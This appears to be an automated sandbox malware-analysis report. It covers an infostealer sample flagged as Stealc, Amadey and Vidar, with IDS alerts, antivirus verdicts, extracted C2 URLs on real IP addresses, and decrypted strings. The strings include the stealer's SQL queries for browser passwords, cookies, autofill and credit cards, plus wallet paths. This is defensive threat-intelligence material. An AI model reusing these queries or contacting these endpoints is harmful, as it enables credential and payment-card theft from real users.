Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:26:06.084603+0200
SID:	2803305
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:26:23.410181+0200
SID:	2044243
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:26:06.195546+0200
SID:	2856147
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T09:26:05.053203+0200
SID:	2856147
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:24:57.699179+0200
SID:	2044244
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T09:26:12.851831+0200
SID:	2044696
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:24:59.446215+0200
SID:	2044248
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T09:24:57.511174+0200
SID:	2044243
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:00.656974+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:00.088175+0200
SID:	2011803
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.5

Timestamp:	2024-07-27T09:25:06.418329+0200
SID:	2009080
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T09:26:05.047501+0200
SID:	2856147
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/15.113.19/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.phpvWn	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpncoded	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/ferences.SourceAumid1	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/AppData	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dllRZT	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php2?	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpwb	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/ons	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.phposition:	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpv?	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.php;	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.php#	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/Jo89Ku7d/index.phpn?	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\userAKKKFBGDHJ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1312596

Found malware configuration

Source: 0.2.file.exe.40b0e67.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.31silence"}
Source: 624f4d727e.exe.6648.24.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}
Source: explorti.exe.7696.19.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.19/15.113.19/	Virustotal: Detection: 15%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.16/Jo89Ku7d/index.phpncoded	Virustotal: Detection: 8%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll/	Virustotal: Detection: 24%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Virustotal: Detection: 17%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Virustotal: Detection: 9%	Perma Link
Source: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 40%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Joe Sandbox ML: detected
Source: C:\Users\userAKKKFBGDHJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 22
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 08
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 20
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 24
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: silence
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sila
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PATH
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: browser:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: profile:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: url:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: login:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: password:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Opera
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Network
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: .txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: TRUE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FALSE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: autofill
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: history
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: cc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: name:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: month:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: year:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: card:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Login Data
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Web Data
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: History
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: logins.json
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: usernameField
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: guid
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: plugins
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Local State
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: chrome
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: opera
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: firefox
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wallets
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ProductName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: x32
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: x64
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - OS:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Language:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Keyboards:
